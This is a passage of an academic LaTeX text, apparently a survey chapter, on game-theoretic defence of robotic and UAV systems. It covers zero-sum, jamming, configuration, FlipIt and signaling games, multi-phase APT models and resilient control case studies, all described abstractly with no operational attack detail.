for all $a_i\in \mathcal{A}_i, i\in\mathcal{N}$. Here, $a^*_{-i}$ is the set of all equilibrium actions $\{a^*_i, i\in\mathcal{N}\}$ excluding the equilibrium action of player $i$, i.e., $a_i^*$. The Nash equilibrium of an $N$-person game defined by the triplet $\left(\mathcal{N}, \{\mathcal{A}_i\}_ {i\in\mathcal{N}}, \{U_i\}_ {i\in\mathcal{N}} \right)$ may not exist. However, the existence issue is resolved when we extend the strategy space to mixed strategies, which are essentially \emph{probability distributions} over the action spaces that describe \emph{random choice rules} for taking actions in the game: Let $x_i, i\in\mathcal{N},$ be the mixed strategies of player $i$. Its $j$-th component $x_i(a_j)$ can be interpreted as the probability of player $i$ choosing action $a_j$ from the discrete action set $\mathcal{A}_i$. It is clear that $x_i(a_j)$ is nonnegative and $\sum_{a_j\in\mathcal{A}_i} x_i(a_j) =1$. Under the mixed strategy profile $\{x_i, i\in\mathcal{N}\}$, the payoff received by the player is the average payoff $\bar{U}_i(x_i, x_{-i})$, which is merely a weighted sum using the payoffs from the actions, multiplied with their corresponding probabilities from the mixed strategy. In the case of two-player games, let $x_1, x_2$ be the mixed strategies represented as a finite-dimensional vectors (of appropriate dimension) of the row player and the column player, respectively. The $k$-th component of $x_1$ and the $l$-th component of $x_2$ correspond to the probabilities of the row player (resp. column player) choosing actions associated with $k$-th row (resp. $l$-th column). The average payoff to the row player is given by $\bar{U}_1=x_1^TFx_2$; the average payoff to the column player is given by $\bar{U}_2=x_1^TGx_2$.
The mixed-strategy Nash equilibrium can be defined in a similar way as the pure-strategy Nash equilibrium. The mixed-strategy profile $\{x_i^*, i\in\mathcal{N}\}$ constitutes a mixed-strategy Nash equilibrium if for all admissible mixed strategy $x_i, i\in\mathcal{N}$,
$$
\bar{U}_i(x^*_i, x^*_{-i}) \geq \bar{U}_i(x_i, x^*_{-i}).
$$
It has been known that there exists a mixed-strategy Nash equilibrium for every finite normal-form game \citep{basar1999dynamic,nash1950equilibrium}.
Zero-sum games are a special class of games that are often used to model strictly competitive behaviors between two players. One player's gain is the other player's loss. In other words, let $U_1(a_1, a_2)=-U_2(a_1, a_2)= U(a_1, a_2)$. Player 1's objective is to maximize the payoff $U$ while Player 2's objective is to minimize it. The roles of who maximizes and who minimizes can, however, be freely exchanged, and the game \textsc{Cut-The-Rope} is an example where the defender is a minimizer: indeed, the defender's payoff in Section \ref{sec:cut-the-rope} is simply the probability for the attacker to hit the vital target asset, which naturally should be small if the defense is good. In turn, the attacker obviously seeks to maximize this probability, and we have a zero-sum competition here.
The solution concept of zero-sum games is \emph{saddle-point equilibrium}: this is a joint strategy $(a_1^*, a_2^*)$ if for all $a_1\in\mathcal{A}_1$ and $a_2\in\mathcal{A}_2$,
$U(a_1, a_2^*) \leq U(a_1^*, a_2^*) \leq U(a_1^*, a_2)$, and called \emph{pure} if the strategies $a_1^*, a_2^*$ are pure. A two-person zero-sum game can be represented by one matrix $H$. Row $i$ of the matrix corresponds to the $i$-th action of the row player, say the defender. Column $j$ of the matrix corresponds to the $j$-th action of the column player, say the attacker. The entry of the matrix $H_{ij}$ is the payoff to the defender, i.e., the loss to the attacker when the defender plays the $i$-th action and the attacker plays the $j$-th action. Let $x_1$ and $x_2$ be the mixed strategies of the players. The average payoff or loss to player 1 or player 2, respectively, is given by
$\bar{U}(x_1, x_2) = x_1^THx_2$. Here, $x_1, x_2$, and $H$ are vectors and matrix of appropriate dimensions. A mixed strategy $(x_1^*, x_2^*)$ is a mixed-strategy saddle-point equilibrium if for all admissible $x_1, x_2$,
$\bar{U}(x_1, x_2^*) \leq \bar{U}(x_1^*, x_2^*) \leq \bar{U}(x_1^*, x_2)$. The value $\bar{U}$ achieved under the equilibrium profile is called the \emph{value} of the game.
Returning to \textsc{Cut-The-Rope} (Section \ref{sec:cut-the-rope}) again for illustration, the value would be the last number $v=0.001$ in \eqref{eqn:cut-the-rope-example-equilibrium}, since the game is primarily about minimizing the attacker's chances to hit its target. Any deviation towards a different defense than prescribed by the game would just increase the success chances for the adversary to more than $0.001$. This is important for the defender to bear in mind, since an attempt to further decrease the protection in other places may open the door wider for the attacker: for example, if the defender is okay with the probability of $0.001$ for the attacker to hit node 10, but then strives to decrease the -- seemingly high -- probability of $0.228$ for the attacker to be at node 9 instead, any change in the defense strategy for the sake of lowering the number $0.228$ would imply an increase of the attacker's chance to hit node 10 perhaps on other ways, say, bypassing node 9 at all! This effect is due to the equilibrium property formalized above.
One important property of saddle-point equilibrium is the exchangeability; i.e., when $(x_1^*, x_2^*)$ and $(x_1^\circ, x_2^\circ)$ are two distinct saddle-point equilibria of the zero-sum game, then $(x_1^*, x_2^\circ)$ and $(x_1^\circ, x_2^*)$ are also saddle-point equilibria of the game and yield the same game value. This is the theoretical reason why it is safe for the defender to use \emph{any} of the existing equilibria for its defensive purpose, but at the same time dangerous to rely on the adversary's equilibrium as a hint on where to defend: the exchangeability property lets the adversary pick any of (perhaps many) optimal attack strategies to gain the best possible success rates, which can easily annihilate the defender's precautions if they were based on the attacker's equilibrium behavior instead of the (better) defender's equilibrium strategies.
\subsection{Structural and Operational Security}\label{sec:example-games}
Zero-sum games are useful to capture many security scenarios. For example, a jamming game between a team of {UAV} and a jammer has been investigated in \cite{chen-TCNS-19-games}. Illustrated in Fig. \ref{team}, a team of {UAV} is controlled to maximize the connectivity among themselves in an adversarial environment where an attacker can choose a subset of communication links to jam. The game between the operator of the team and the attacker is described by the zero-sum game at time $k$:
\begin{equation}\label{maxminproblem}
\max_{x(k+c)}\min_{e\in \mathcal{E}} \lambda_2(e; x(k + c)).
\end{equation}
Here, $x(k)$ is the position of the {UAV} at time $k$. Two {UAV} can form a link when they are sufficiently close within
a desirable range of communications. The connectivity of the {UAV} team is described by the algebraic connectivity of the network, denoted by $\lambda_2$ (i.e., the second-smallest eigenvalue of the associated Laplacian matrix). When $\lambda_2$ is zero, the network has disjoint partitions. Otherwise, the network is connected, i.e., there exists a path from one node to any node in the network. A higher value of $\lambda_2$ indicates that there are a larger number of paths on average that connect between two arbitrary nodes in this network. At each time
step $k$, the operator determines where the agents should move to in the next time step
$x(k + c)$, where $c$ is a time interval. The control is constrained by the physical dynamics
of {UAV}. The attacker can jam a subset of links from all the communication links of the team, denoted by $\mathcal{E}$. The attacker's capability is described by the number of links that he can jam at time $k$. This zero-sum security game can be played repeatedly at every time step $k$.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/team.png}
\caption{A team of {UAV} collaborate on a mission. They can communication with each other when one is in the range of communication of the other. An attacker can jam the signals between two {UAV}.} \label{team}
\end{figure}
In transportation networks, the class of interdiction games is similar to the jamming games in communications. One player (e.g., an attacker) aims to remove the links of a network to minimize the throughput or disrupt the operation of the infrastructure subject to resource constraints. In other words, the attacker's capability is assumed to be bounded and he can only remove a small subset of links in the network. The other player (e.g., planner or defender) aims to design a robust network and invest resources to protect against the attacks on the network and maintain the service of the infrastructure. This type of games has been commonly used in scenarios of the infrastructure protections \citep{chen2019dynamic,huang2017large,chen2019game}, multi-agent robotic systems \citep{nugraha2020dynamic,chen-CDC-16,chen-TCNS-19-games}, and {IoT} networks \citep{chen2017heterogeneous,Chen2019optimal}
Another example of security game is the system configuration game \citep{zhu2011indices,zhu2009dynamic,zhu2010network}. In this game, we consider one system defender and one attacker as two players. The system defender configures its network and {IoT} in Fig. \ref{fig:cut-the-rope}
by choosing the setting of the software, security rules/policies, and network topologies. Each system configuration inevitably has known or zero-day vulnerabilities. An attacker aims to find the vulnerabilities of the entry-point system and exploit them to penetrate and infect further parts of the system. Let $\mathcal{C}= \{c_1, c_2, \cdots, c_m\} $ be the set of configuration that the system can choose from. Let $\mathcal{V}$ be the set of vulnerabilities that the system can have. Each configuration is associated with a subset of vulnerabilities of $\mathcal{V}$. We let $\pi: \mathcal{C}\rightarrow 2^\mathcal{V}$ be the point-to-set mapping between configurations and the subsets of vulnerabilities; $\pi(c),\subseteq \mathcal{V}, c\in \mathcal{C},$ is called the attack surface when the system is configured to $c$. An attacker can choose an attack that exploits several vulnerabilities of the system. Let $\mathcal{A}=\{a_1, a_2, \cdots, a_n\}$ be the set of attack actions. Let $\gamma: \mathcal{A}\rightarrow 2^\mathcal{V}$ be the point-to-set mapping between attack actions and the subset of vulnerabilities; $\gamma(a) \subseteq \mathcal{V}, a\in\mathcal{A},$ is the set of vulnerabilities exploited by the attack action $a\in\mathcal{A}$. When one of the vulnerabilities exploited by the attacker is in the attack surface under configuration $c$, then the attacker is successful and receives a reward. More formally, when $\gamma(a) \cap \pi(c) \neq \emptyset$, the reward to the attacker, which is also the loss to the defender, is given by $R(\gamma(a) \cap \pi(c))$, where $R$ is a set-valued function that quantifies the impact of the successfully exploited vulnerabilities. This configuration game is a normal-form zero-sum game. An example of this game is represented by the following matrix:
\begin{center}
{H:}
\begin{tabular}{ l | c | c | c | c }
& $c_1$ & $c_2$ & $c_3$ & $c_3$ \\ \hline
$a_1$ & $h_{11}$ & $h_{12}$ & $ h_{13}$ & $h_{14}$ \\ \hline
$a_2$ & $h_{21}$ & $h_{22}$ & $ h_{23}$ & $h_{24}$ \\
\hline
\end{tabular}
\end{center}
Here, the row player is the attacker with $2$ attack actions. The column player is the defender with $4$ configurations. The reward/loss to the players are described by the matrix entries $h_{ij}, i \in \{1,2\}, j \in\{1, 2, 3, 4\},$ which are the rewards to the attacker when he uses $a_i$ to attack and the defender uses configures the system at $c_j$. The defender can relies on this model and assesses his best-effort worst-case security. The saddle-point equilibrium of this game yields a game value that quantifies the level of the security under the best-effort of the defender. It also leads an insight for the defender on how to choose a secure configuration to safeguard the system for a prescribed attack model.
The analysis of the saddle-point equilibria of the security game has the following implications. First, the equilibrium strategies provide a security strategy for the defenders and protect the system in the worst-case scenario that is assumed by the defender. Such strategies are computed ahead of time. The operator can use them to maintain the connectivity of the {UAV} at each time $k$ robust to the worst-case adversarial behaviors within a range of attack behaviors. In many cases, the exact knowledge of the worst-case may not always be available. The overestimate of the capability of the attacker will result in a conservative solution while the underestimate will lead to a successful attacker and failure in the operation when the attack is not correctly anticipated. There is a need to consider strategies other than protections or preventions to safeguard the system. One type of strategy that can be built on top of the robust mechanism is the resiliency mechanism. In the case of the underestimate, the system is well prepared and designed to quickly recover from the attack. In the case of the overestimate, the resources used to strengthen the network for extremely low likelihood events can be used for the repair of the links and the restoration of the services. With limited resources, the defender needs to find an optimal tradeoff between the robustness and the resiliency to mitigate the impact of the attacks and maintain an acceptable level of system performance. This joint robust and resilient mechanism has been studied in \citep{chen2019dynamic} and applied to multi-agent robotic systems in \citep{nugraha2019subgame,nugraha2020dynamic}.
Second, the value of the game obtained from the equilibrium analysis provides a predicted outcome and performance of the system. It provides a worst-case performance guarantee and a quantified assessment of the risks. In the example of {UAV} networks, the solution to the zero-sum game from solving (\ref{maxminproblem}) provides a way for the designer to assess whether the network is still connected under the worst-case adversary. If it is, the designer can assess the security margin from being disconnected. Otherwise, the designer needs to find mechanisms other than the control variable $u(k+c)$ to strengthen the network. For example, instead of using mobility to create connectivity, the designer can introduce additional communication resources, e.g., construction of ad hoc base stations, or the use of satellite communications. This design choice is another layer of optimal planning of resources since additional mechanisms are also constrained by limited resources.
In \cite{zhu2010network}, the authors see the value of games as the security capacity of a system. This is because when the computed value is below the targeted value, it means that it is impossible for the system to be secure for the given attack model unless additional resources are invested in the system. Games have also been studied for the overall design of secure communication layers as networks by \cite{rass_complexity_2014}.
\section{Multi-Stage and Multi-Phase Games}\label{msmp}
In Section \ref{gamemodels}, we have presented game theory as a tool to understand cybersecurity. In this section, we extend the game-theoretic technique developed for cyber attacks and connect it with the physical models of robots. The target of many {APT} is to create malfunction of the physical assets, including a power plant, an autonomous vehicle, or a water treatment plant. By incorporating the physical models into the security game framework, we can provide a cross-layer security framework for robots and develop tailored cyber protection for the given robot systems that have specific operational system specifications and requirements.
To illustrate this concept, we use a generic nonlinear dynamical system in (\ref{dynamics}) to capture the mechanical behaviors of the robots. Let $x(t)$ be the state of the physical system and $y(t)$ be the output of the system. The physical dynamics of the robot systems, such as mechanical arms, walking robots, {UAV}, can all be written into the following form:
\begin{eqnarray}\label{dynamics}
\dot{x}(t) &=& f(t, x, u; \theta(t, a, d)),\\
y(t)&=& h(t, x, u; \theta(t, a, d)).
\end{eqnarray}
Here, $f$ and $h$ are continuous functions in $(t, x, u)$. The physical system is controlled by the feedback law $u$ to achieve stabilization or targeted performances.
$\theta(t, a, d)$ is the cyber state of the robot. It can represent the state on the attack graph or the high-level description of the well-being of the cyber system. The state of the cyber system is influenced by the attack strategies $a$ and the defense strategies $d$. A well-designed defense can reduce the probability of the system in a compromised cyber state and allow the cyber system to recover quickly once it is attacked. From (\ref{dynamics}), it is clear that the cyber defense and attack not only directly affect the cyber state but also indirectly creates an impact on the physical system. For example, when the attacker gains access to the {ROS}\xspace nodes, he can modify the control logic and turn the robot into a deadly weapon \citep{clark2013impact,xu2018cross}. In the scenarios of multi-agent systems, one robot can be misled by a compromised robot to put the team into jeopardy and fail the mission \citep{xu2015cyber,Quanyan2013CCPS}.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/3phase.png}
\caption{Multi-stage and multi-phase interactions between an attacker and a defender: The attacker changes the cyber state $\theta$ to affect the physical state $x$ at the last stage of Phase $3$.} \label{3phase}
\end{figure}
The goal of the extended game framework is to capture this impact so that the defense designed at the cyber layer will reduce the cyber-physical risks and the control designed at the physical layer will be able to quickly mitigate the physical damages when an attacker succeeds at the cyber layer. To capture these multiple layers of effects, authors in \citep{zhu2018multi,huang2018gamesec,rass_gadapt:_2016} have created a multi-stage and multi-phase game model. The entire attack process is decomposed into multiple phases that represent multiple rounds or stages of interactions between the attacker and the system at different layers. At Phase 1, the attacker aims to create social engineering approaches to infect the system. To defense against this attack, defenders can raise security awareness, provide training to users and employees, or developing incident documentation and alert system to prevent malicious outsiders from entering the system or the insider to behave abnormally.
At Phase 2, the attacker aims to maximize the infection, search for its targeted asset and get closer to it. The defender at this phase can leverage spot-checking to detect virus/malware, change system configurations, or develop proactive defense mechanisms (e.g., honeypots \citep{jajodia2016cyber,mokube2007honeypots} and moving target defenses \citep{zhu2013game,jajodia2011moving}) to reduce the system risks. At Phase 3, the attacker aims to create physical damage on the system on the asset. It is already late for the defender to prevent the asset at this stage from damages. However, the defender can detect anomalous behaviors and reconfigure the control at the physical layer to reduce the impact of the attack and develop mechanisms to recover the system from the attacks.
The multi-stage multi-phase interactions are illustrated in Fig. \ref{3phase}. Each phase contains several stages of interactions. The success of an attacker in one phase will lead him to the next phase until he takes over the control of the physical assets. The state of the cyber system $\theta$ evolves over these multi-round interactions. In Phase 3, a compromised cyber state will influence the physical state $x$. The control taken at the end of Phase 3 can mitigate the physical impact of the attacker.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/flipit.png}
\caption{Illustration of FlipIt games: The attacker and the defender compete to control a shared resource. Both players can choose when to move at any time. Each move incurs a cost. The player controls the resources for a period of time after his move till the next move of the other player.} \label{flipit}
\end{figure}
Each phase has unique attacker-defender interactions. They can be modeled using a suitable game-theoretic framework. In the first phase, the game often involves a human user and an attacker. The goal of the attacker is to use social engineering techniques to deceive the users to gain credentials for access. In \citep{van2013flipit}, FlipIt games have been proposed to understanding many cybersecurity scenarios. Consider the scenario where a user can choose when to change his passwords and an attacker can choose the time to hack the account. A weak password that has not been changed for a long time can be eventually leaked to the attacker. One way to protect a user's account to frequently change the password. However, it would create a perceived overhead if a user changes the password too frequently, and \cite{rass_password_2018} gives a game model to find an optimal tradeoff between security and usability here. From the attacker's perspective, there is a cost for him to gain reconnaissance and hack the account. FlipIt games capture the strategic decision of both players. The game analysis provides a risk assessment of the system and the development of defense strategies. The applications of FlipIt games have been extended to many applications including cloud computing \citep{pawlick2015flip,xu2015secure,chen2016optimal}, cybercrime \citep{canzani2018risk,basak2018initial}, and {IoT} systems \citep{chen_optimal_2016,pawlick2018istrict}.
In the second phase, an intelligent attacker can move stealthily and strategically in the network to gain access to the targeted asset. {APT} are this type of threat that is capable of customizing their strategies against specific targets and disguise themselves for a prolonged period. Once the {APT} attackers enter the system, they escalate their privilege and propagate laterally in the network, compromising other nodes to gain deeper access to find their target. The goal of the defender is to detect the compromise nodes and respond quickly to prevent the attacker from going deeper and reaching critical assets. A game modeling this type of interactions is \textsc{Cut-The-Rope} (Section \ref{sec:cut-the-rope}), but other models have also been proposed, using sequential games \citep{huang2020dynamic,huang2019adaptive,noureddine2016game}. One important application of these models is to develop proactive defenses. They provide a precautious and strategic way to increase the cost of attack while mitigating the potential damage attacker could bring to the final target. An effective proactive response system can delay the attack and give network administrators a sufficient amount of time to meticulously analyze data and deploy effective responses to the threats.
In the third phase, an attacker has successfully gained access to the critical asset and aims to create maximum impact. The goal of the defender in this phase is to reduce the damages that can be created by the attacker. An example of games that capture this scenario is the Flip the Cloud game described in \citep{pawlick2015flip}. An {APT} attacker can take hold of the cloud and sends falsified information to mislead a robot that relies on the computations in the cloud. The analysis of the game between the cloud that is taken over by the attacker and the system leads to a strategic trust mechanism \citep{pawlick2018istrict} that can filter and reject misleading information and an event-triggered control mechanism \citep{xu2015secure} to switching the control laws to maintain an acceptable level of performance. Here, the goal of physical control is to strengthen the resiliency of the robots. With a suitable design, the robots can still carry on their missions and complete their tasks despite the compromised cyber state and the unanticipated events. The resilient control problem has been discussed in \citep{zhu2011hierarchical,rieger2019,rieger2012agent}. Game-theoretic techniques to achieve resiliency of the control system performance have been studied in \citep{zhu2013resilient,huang2020dynamic,zhu2012dynamic,chen2019dynamic,
RCSmetric}.
Generally, it is advisable to consider {APT} models relative to what the adversary tries to accomplish in the long run, as \citep{rass_cyber-security_2020} distinguishes two types of {APT}:
\begin{itemize}
\item One type is about \emph{gaining long-run control} over the victim, but without ultimately destroying it. This can be the case when an industrial robotics-enhanced production line is hacked for the purpose of quality dropout increase, or to induce flaws in the products, up to inserting malicious parts or similar. Other scenarios include the overtake of an infrastructure of unintended purposes, e.g., cryptocurrency mining or similar. FlipIt is a class of game models to defend against this type of {APT}.
\item The other type aims at \emph{killing the victim}, which entails a slow and ubiquitous penetration staying beneath the detection radar so that it is too late for the defender to react when the attacker becomes visibly active. Examples of such incidents have been reported on large critical infrastructures, with Stuxnet being an early and famous example. Game models for this type of {APT} are, among others, \textsc{Cut-The-Rope}.
\end{itemize}
\subsection{Signaling Games for Multi-Phase Security}
In the security games across the three phases, the players often have incomplete information regarding the payoffs, action sets, and the type of opponents the players interact with. It is essential for security games to capture these uncertainties in the game. Signaling games are a common class of games that have been used to model the sequential interactions between two players under incomplete information. They have been used in many applications such as cyber deception \citep{pawlickgame,pawlick2018modeling,zhuang2010modeling,pawlick2019game,pawlick2015deception}, communication networks \citep{rahman2013game,carroll2011game}, and trust management \citep{casey_compliance_2016,moghaddam2015trust,pawlick2017strategic}. In this class of games, one player is the sender, denoted by $S$, and the other player is the receiver, denoted by $D$. The sender has private information $\theta \in \Theta$ unknown to the receiver and sends a signal\footnote{The literature also uses the term ``message'' in the context of signalling games, which we avoid here to prevent ambiguities with the term ``message'' as data in transit like in Chapter \ref{sec:cyber-issues-et-al}.} $m \in \mathcal{M}$ to the receiver. The goal of the receiver observes the signal $m$ and chooses an action $a \in\mathcal{A}$ to respond to the signal so that his reward $U_S(\theta, m, a)$ is maximized. The goal of the sender is to pick a signal that will lead to a desirable action chosen by the receiver so that his reward $U_R(\theta, m, a)$ is maximized. Both players have the knowledge of how this game is played. More specifically, the players know the reward functions and action sets of both players. The private information $\theta$ is modeled as a random variable. Both players have knowledge of the distribution of the random variable. However, only the sender knows the realization of $\theta$.
This game is illustrated by an extensive-form game in Fig. \ref{signaling}. Nature first chooses $\theta$ according to the distribution known to the players. The sender who observes $\theta_1$ or $\theta_2$ will pick a signal $m\in\{m_1, m_2\}$. The receiver cannot distinguish between the type of the players (indicated in the figure by the information set of the receiver) but can only choose an action $\{a_1, a_2\}$ based on his observation of the signal. The strategies of the players are described by the policies $\mu_S: \Theta\rightarrow \mathcal{M}$ and $\mu_R: \mathcal{M}\rightarrow \mathcal{A}$ that are determined prior to the start of the game. The players use the policies to determine their actions based on their private observations. Bayesian perfect Nash equilibrium is commonly used as the solution concept for the signaling games. An equilibrium profile $(\mu^*_S, \mu^*_R )$ is a Bayesian perfect Nash equilibrium if it satisfies sequential rationality and there exists a consistent belief system, a distribution over the information set, that supports this equilibrium profile. Readers can refer to the mathematical details in \citep{gibbons1992game} for the analysis and the computation of the equilibrium.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/signaling.png}
\caption{Signaling games between one sender and one receiver. The sender has private information $\theta$ and sends a signal $m \in \mathcal{M}=\{m_1, m_2\}$ to the receiver to achieve an outcome that optimizes his reward. The receiver determines action $a \in \mathcal{A}=\{a_1, a_2\}$ to maximize his reward. The dotted line indicates an information set of player 2. } \label{signaling}
\end{figure}
Signaling games can be used to capture information asymmetry, where one player has more information than the other player. It is a pervasive phenomenon in cybersecurity. Across the three phases depicted in Fig. \ref{3phase}, the system defender may not distinguish the attacker from the normal users. In contrast, the attacker can observe the behaviors of the system. In \citep{pawlick_phishing_2017}, signaling games have been used to model phishing. An attacker sends a phishing email to a population of receivers while a user relies on spam and scam detection systems to filter out a suspicious email from the primary inbox.
An extension of the signaling games to multiple rounds of interactions has been studied in \citep{farhang2014dynamic,huang2020dynamic}. The multi-round game models are used to study the Phase 2 interaction where the attacker aims to escalate his privilege and gain access to the targeted asset.
In \citep{xu2015cyber}, a trust mechanism based on signaling games has been developed for {UAV} at Phase 3 as the last shield to defend against the attacker. Once an attacker has an access to the remote control station, he can send a falsified control command to direct the {UAV} to hit a building. The trust mechanism enables the {UAV} to make onboard decisions of following or rejecting the command when they predict that following the command would lead to catastrophic consequences.
\begin{figure}[t]
\centering
\includegraphics[scale=0.7]{figures/nestedgames.png}
\caption{G$1$, G$2$, and G$3$ represent games at three phases. The three games are nested. The outcome of the game at earlier phases will affect the structure of the game in the later phases. The defense strategies need to be planned backward from the last phase.} \label{nestedgames}
\end{figure}
\subsection{Games-in-Games Model}\label{gigm}
The games in the three phases are interdependent. The actions chosen by the defender and the attacker in the first phase will affect the cyber state and the structure of the game played in the second phase. When planning the defense at the first phase, it is essential to understand its consequences on the following phases and make an effective planning decision at the first phase. The games at the three phases can be integrated into a game-in-games \citep{huang2020dynamic,zhu2015game,xu2016cross,chen-TCNS-19-games,nugraha2019subgame,xu2018cross,xu2017game}, in which the game at an earlier phase is nested in the game at a later phase. Illustrated in Fig. \ref{nestedgames}, the game-of-games integration gives a holistic view of the security issues across multiple layers of robotic systems and provides a cross-layer risk assessment and design methodology of security mechanisms.
Security games for sophisticated attacks often require an integrated model that composes interactions at different layers, stages, or phases of the system. The game-in-games leverage the sequential nature of the cyber attacks and provide a framework to compose local-stage games into an integrated large-scale game for a holistic analysis of the risks. The computation of the equilibrium solutions at each phase is backward. The defense strategies in Phase 1 depends on the defense strategies in Phase 2, which is determined by the strategies in Phase 3. This backward computation will guarantee that the defense strategies are strategically optimal across the phases rather than myopically optimal within one single stage. Readers can refer to the recent book \citep{zhucross} for a comprehensive introduction of the game-theoretic techniques for cross-layer designs.
\input{subsections/control}
\section{Examples of Game-Theoretic Analysis}
We provide two case studies to elaborate on the application of game theory to robot security. The first one introduces the application of signal games to {UAV} and develops a cyber-physical trust interface between the {IT}-level signals and the {OT}-level operations and controls. The second one continues the example described in Fig. \ref{uav} and discusses how to design control mechanisms that can fend off jamming attacks while maintaining connectivity.
\subsection{Signaling Games and {UAV}}
This case study presents a team of multi-agent {UAV} with $n$ autonomous agents (ASs) and a control station (CS). Each agent has two components. One is the physical layer which implements real-time control to achieve its control objectives. The other one is the cyber layer which sends information and signals to the agents as inputs for the controller. At the physical layer, a min-max model predictive control (MPC) problem is formulated to handle the worst-case disturbances based on the model. For AS agent $i$ at time $k$, the problem is formulated as a zero-sum game between the controller and the disturbance:
\begin{align}
\mathcal{P}_k^i: \min_{\hat{u}^i_k}\max_{\hat{w}^i_k} \ \ \ J_c\left(x_k^i,r_k^i,\hat{u}^i_k,\hat{w}^i_k\right).
\end{align}
Here, $J_c$ is the accumulated stage cost until horizon-window $N$; $x_k^i$ is the state vector; $r_k^i$ is the reference trajectory given by the CS; $\hat{u}^i_k$ and $\hat{w}^i_k$ are the estimated control and disturbance vectors. An adversary can fabricate a fake reference signal $r^i$ to deviate agent $i$ from its real
trajectory to achieve Suicidal Attack (SA) or Collision
Attack (CA).
At the cyber layer of ASs, we use a signaling game method to capture the information asymmetry and multi-stage behaviors of these players. The CS (sender $S$) has a binary private type $\theta$ denotes whether $S$ is normal or malicious. $S$ sends a signal $r^i$ to each AS (receiver $R^i$). Before choosing action $a^i$, AS updates its beliefs about the type $\theta$ using Bayes' rule and prior belief $p^i(\theta)$. The goal of $R^i$ is to choose an action $a^i$ to minimize its expected cost $c_R^i$ given a posterior belief $\mu^i(\theta|r^i)$, while the goal of the sender is to choose a signal $r^i$ to minimize the cost $c_S$ by anticipating the behavior of the receiver $R^i$. The game admits a {PBNE}, which is a strategy profile $\{\sigma(S),\sigma_R^i\}$ and posterior beliefs $\mu^i(\theta|r^i)$ such that
\begin{align}
&\forall \theta, \quad \sigma_R^i(r^i)\in\arg\min_{a^i} \sum_{\theta}\mu^i(\theta|r^i)c_R^i(r^i,a^i,\theta),\\
&\forall\theta, \quad
\mathbf{\sigma}_S(\theta)\in\arg\min_{\mathbf{r}} c_S(\mathbf{r},\mathbf{\sigma}_R,\theta)
\end{align}
where posterior beliefs $\mu^i(\theta|r^i)$ are updated according to Bayes' rule. There are two {PBNE} that exist in this cyber-physical signaling game. One is a separating equilibrium, and the other is a pooling equilibrium. Both equilibria can lead to the protection of ASs from collisions as the equilibria can guarantee that $R^i$ only accepts reference trajectory $r^i$ if it is out of the danger zones. The designed framework yields an intelligent control of each agent to avoid collisions. Illustrated in Fig. \ref{uav}, a group of {UAV} reject the falsified command and switch the system to a safe control mode. The {UAV} hover in the air and keep a safe distance from each other and the building. The results indicate that the integrative framework enables the co-design of cyber-physical systems to minimize the damages, leading to online updating the cyber defense and physical layer control decisions. Interested readers can refer to \cite{xu2015cyber} for more details on this case study.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/uav.png}
\caption{Trust mechanism implemented in the {UAV} control system. The {UAV} start to hover before they hit the building.} \label{uav}
\end{figure}
\subsection{Jamming Games and Multi-Agent Systems}
Multi-agent systems provide a framework for studying distributed decision-making problems as a number of agents make local decisions by interacting with each other over networks. One of the common security threats in networked systems is jamming attacks. The adversary can simply transmit interference signals to interrupt communication among agents. Non-cooperative game theory approaches can be used to find the optimal defense mechanism to prevent and restore the network from successful attacks.
We model the interaction between an attacker
and a defender in a two-player two-stage game setting. The attacker is motivated to disrupt the communication by attacking individual links. The attack model consists of a jammer who chooses the links and the durations of the attack with the knowledge of the communication graph of the {UAV} and the energy constraints. The defender can recover a subset of links that are important for maintaining the connectivity of the graph with limited energy.
In the game, both players attempt to choose the best strategies to maximize their own utility functions. The utilities for the attacker $U^A$ and the defender $U^D$ are defined as the total generalized edge connectivity (with the negative sign for the attacker), plus the cost for jamming (attacker) or recovering (defender). The two-stage game is played as follows. The jammer first attacks and then the defender recovers in the subgame. Let $m^A$ be the attacked edges and $\sigma^A$ be the attack intervals; let $m^D$ be the edges recovered and $\sigma^D$ be the recovery intervals. The strategies of the attacker and the defender are in terms of $(m^A, \delta^A)$ and $(m^D, \delta^D)$, respectively.
The subgame perfect Nash equilibria are obtained using backward induction. Given the attacker's strategy $(m^A, \delta^A)$, the defender decides the best response strategy as
\begin{align}
\left(m^{D*}(m^A,\delta^A),\delta^{D*}(m^A,\delta^A)\right)
\in \arg \max_{(m^D, \delta^D)}U^D((m^A, \delta^A),(m^D, \delta^D))
\end{align}
Likewise, given the initial network graph $\mathcal{G}$, the attacker decides the strategy as
\begin{align}
\left(m^{A*},\delta^{A*}\right) \in \arg \max_{(m^A, \delta^A)} U^D((m^A, \delta^A),\left(m^{D*}(m^A,\delta^A),\delta^{D*}(m^A,\delta^A)\right))
\end{align}
This game can be applied to a multi-agent consensus problem, where the game is played repeatedly over time. In such a case, the energy constraints are extended to satisfy continuous communications. Fig. \ref{jammingresult} shows the states of the agents and properties of the players, with the agents achieving approximate consensus at $t \approx 4$ with tolerance $\epsilon = 0.5$. This framework enables the study of how the attacks and recovery strategies affect the consensus process of the multi-agent systems. By analyzing the games, we can find the optimal strategies for the attacker and the defender in terms of edge connectivity and the number of connected components of the graph. Interested readers can refer to \cite{nugraha2020dynamic} for more details on this case study.
\begin{figure}[t]
\centering
\includegraphics[scale=0.8]{figures/jammingresult.png}
\caption{The state trajectories of the {UAV}. The green areas indicate the intervals where the defender recovers. The red areas indicate
the intervals where the attacker attacks. The four agents reach consensus after $t \approx 4$ \cite{nugraha2020dynamic}. } \label{jammingresult}
\end{figure}
\subsection{Resilient Control Mechanisms and Real-Time System Performance}
In Section \ref{msmp}, we have used a multi-stage and multi-phase game to capture how an attacker moves from the cyber layer to the physical layer. The physical layer of robotics consists of the real-time dynamics represented by the system model in (\ref{dynamics}). It also corresponds to level $0$ of the ROS architecture, illustrated in Fig. \ref{fig:networking_multi_agent_architecture}. The defense at the physical layer heavily relies on the resilient control mechanisms when the attacker has successfully taken control of the devices at the field network. The purpose of resilient control is to enable the robotic systems to maintain a satisfactory level of performance when the robotic system is attacked by unanticipated threats in real-time. An example of such resilient control mechanisms is introduced in \citep{xu2015secure} for cloud robotics. A UAV that relies on the cloud for communication and information processing can switch from an optimal mode of operations to a safe mode when a man-in-the-middle attack is detected.
